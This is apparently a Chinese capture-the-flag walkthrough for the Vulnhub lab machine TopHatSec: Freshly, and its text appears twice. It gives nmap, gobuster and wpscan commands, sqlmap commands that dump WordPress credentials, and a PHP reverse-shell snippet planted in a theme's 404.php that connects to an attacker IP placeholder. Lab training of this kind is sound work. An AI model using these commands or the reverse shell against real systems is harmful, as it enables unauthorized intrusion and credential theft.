渗透测试 - CTF TopHatSec: Freshly- Vulnhub
字数 1463 2025-08-18 11:37:02

Vulnhub靶机渗透测试:TopHatSec: Freshly 详细教学文档

1. 靶机概述

  • 名称: TopHatSec: Freshly
  • 来源: Vulnhub
  • 发布日期: 2018年2月
  • 难度: 中等
  • 目标: 通过网络渗透进入系统,找到隐藏的敏感文件中的秘密
  • 运行环境: VirtualBox (注意:运行可能会提示错误,原解决链接已失效)

2. 环境准备

  1. 下载OVA文件并导入VirtualBox
  2. 配置网络模式为桥接或NAT(根据实际环境选择)
  3. 启动靶机虚拟机

3. 渗透测试流程

3.1 服务发现

端口扫描

使用nmap进行初始扫描:

nmap -sS -A -T4 <靶机IP>

预期发现开放端口:

  • 80/tcp (HTTP)
  • 443/tcp (HTTPS)
  • 8080/tcp (HTTP - WordPress)
  • 可能还有其他服务端口

操作系统识别

通过nmap的OS检测功能:

nmap -O <靶机IP>

3.2 Web服务枚举

80端口分析

  1. 访问http://<靶机IP>

  2. 使用dirb或gobuster进行目录扫描:

    dirb http://<靶机IP>
    

    gobuster dir -u http://<靶机IP> -w /path/to/wordlist.txt
    
  3. 关键发现:

    • phpMyAdmin (/phpmyadmin)
    • 登录页面 (/login.php)

8080端口分析

  1. 访问http://<靶机IP>:8080
  2. 确认是WordPress站点
  3. 使用wpscan进行扫描:
    wpscan --url http://<靶机IP>:8080 --enumerate p,u,ap
    
  4. 发现三个有安全问题的插件(但可能帮助不大)

3.3 SQL注入利用

  1. 对/login.php进行SQL注入测试:
    sqlmap -u "http://<靶机IP>/login.php" --data="username=test&password=test" --level=5 --risk=3
    
  2. 确认存在SQL注入漏洞后,获取数据库信息:
    sqlmap -u "http://<靶机IP>/login.php" --data="username=test&password=test" --dbs
    
  3. 查看WordPress8080数据库:
    sqlmap -u "http://<靶机IP>/login.php" --data="username=test&password=test" -D wordpress8080 --tables
    
  4. 获取WordPress用户凭据:
    sqlmap -u "http://<靶机IP>/login.php" --data="username=test&password=test" -D wordpress8080 -T wp_users --dump
    

3.4 WordPress后台利用

  1. 使用获取的凭据登录WordPress后台(http://<靶机IP>:8080/wp-admin)
  2. 修改语言为中文(可选)
  3. 获取shell的两种方法:

方法一:通过插件上传

  1. 准备一个包含webshell的zip文件(格式必须正确)
  2. 在WordPress后台添加新插件并上传
  3. 激活插件后访问webshell

方法二:直接编辑主题文件

  1. 进入"外观"->"编辑"
  2. 选择404.php模板
  3. 插入以下PHP反向shell代码:
    <?php
    $sock=fsockopen("<攻击者IP>",<监听端口>);
    exec("/bin/sh -i <&3 >&3 2>&3");
    ?>
    
  4. 保存更改

3.5 获取反向shell

  1. 在攻击机上设置netcat监听:
    nc -lvnp <监听端口>
    
  2. 访问触发404页面的URL(如http://<靶机IP>:8080/?p=non-existent-page)
  3. 检查netcat会话,确认获得shell

3.6 权限提升

  1. 查看/etc/passwd文件:
    cat /etc/passwd
    
  2. 检查当前用户权限:
    id
    whoami
    sudo -l
    
  3. 根据发现的信息进行权限提升(具体方法取决于系统配置)

3.7 寻找flag

  1. 搜索敏感文件:
    find / -name "*secret*" -type f 2>/dev/null
    find / -name "*flag*" -type f 2>/dev/null
    
  2. 检查隐藏目录和文件
  3. 检查数据库中的敏感表
  4. 检查用户主目录

4. 关键点总结

  1. 信息收集:全面的端口扫描和Web目录枚举是成功的关键
  2. SQL注入:通过sqlmap有效利用SQL注入漏洞获取数据库信息
  3. WordPress利用:熟悉WordPress的两种getshell方法(插件上传和主题编辑)
  4. 反向shell:正确设置和触发反向shell连接
  5. 权限提升:根据系统配置选择合适的提权方法
  6. flag查找:系统性地搜索所有可能的敏感文件位置

5. 注意事项

  1. VirtualBox运行此靶机可能会报错,需要根据实际情况解决
  2. 渗透测试应在授权环境下进行
  3. 实际环境中路径和文件名可能有所不同,需要灵活调整
  4. 某些步骤可能需要多次尝试才能成功

6. 验证与提交

找到秘密后,按照说明通过电子邮件进行验证(虽然原链接可能已失效,但这是CTF的标准流程)。

Vulnhub靶机渗透测试:TopHatSec: Freshly 详细教学文档 1. 靶机概述 名称 : TopHatSec: Freshly 来源 : Vulnhub 发布日期 : 2018年2月 难度 : 中等 目标 : 通过网络渗透进入系统,找到隐藏的敏感文件中的秘密 运行环境 : VirtualBox (注意:运行可能会提示错误,原解决链接已失效) 2. 环境准备 下载OVA文件并导入VirtualBox 配置网络模式为桥接或NAT(根据实际环境选择) 启动靶机虚拟机 3. 渗透测试流程 3.1 服务发现 端口扫描 使用nmap进行初始扫描: 预期发现开放端口: 80/tcp (HTTP) 443/tcp (HTTPS) 8080/tcp (HTTP - WordPress) 可能还有其他服务端口 操作系统识别 通过nmap的OS检测功能: 3.2 Web服务枚举 80端口分析 访问http:// <靶机IP> 使用dirb或gobuster进行目录扫描: 或 关键发现: phpMyAdmin (/phpmyadmin) 登录页面 (/login.php) 8080端口分析 访问http:// <靶机IP>:8080 确认是WordPress站点 使用wpscan进行扫描: 发现三个有安全问题的插件(但可能帮助不大) 3.3 SQL注入利用 对/login.php进行SQL注入测试: 确认存在SQL注入漏洞后,获取数据库信息: 查看WordPress8080数据库: 获取WordPress用户凭据: 3.4 WordPress后台利用 使用获取的凭据登录WordPress后台(http:// <靶机IP>:8080/wp-admin) 修改语言为中文(可选) 获取shell的两种方法: 方法一:通过插件上传 准备一个包含webshell的zip文件(格式必须正确) 在WordPress后台添加新插件并上传 激活插件后访问webshell 方法二:直接编辑主题文件 进入"外观"->"编辑" 选择404.php模板 插入以下PHP反向shell代码: 保存更改 3.5 获取反向shell 在攻击机上设置netcat监听: 访问触发404页面的URL(如http:// <靶机IP>:8080/?p=non-existent-page) 检查netcat会话,确认获得shell 3.6 权限提升 查看/etc/passwd文件: 检查当前用户权限: 根据发现的信息进行权限提升(具体方法取决于系统配置) 3.7 寻找flag 搜索敏感文件: 检查隐藏目录和文件 检查数据库中的敏感表 检查用户主目录 4. 关键点总结 信息收集 :全面的端口扫描和Web目录枚举是成功的关键 SQL注入 :通过sqlmap有效利用SQL注入漏洞获取数据库信息 WordPress利用 :熟悉WordPress的两种getshell方法(插件上传和主题编辑) 反向shell :正确设置和触发反向shell连接 权限提升 :根据系统配置选择合适的提权方法 flag查找 :系统性地搜索所有可能的敏感文件位置 5. 注意事项 VirtualBox运行此靶机可能会报错,需要根据实际情况解决 渗透测试应在授权环境下进行 实际环境中路径和文件名可能有所不同,需要灵活调整 某些步骤可能需要多次尝试才能成功 6. 验证与提交 找到秘密后,按照说明通过电子邮件进行验证(虽然原链接可能已失效,但这是CTF的标准流程)。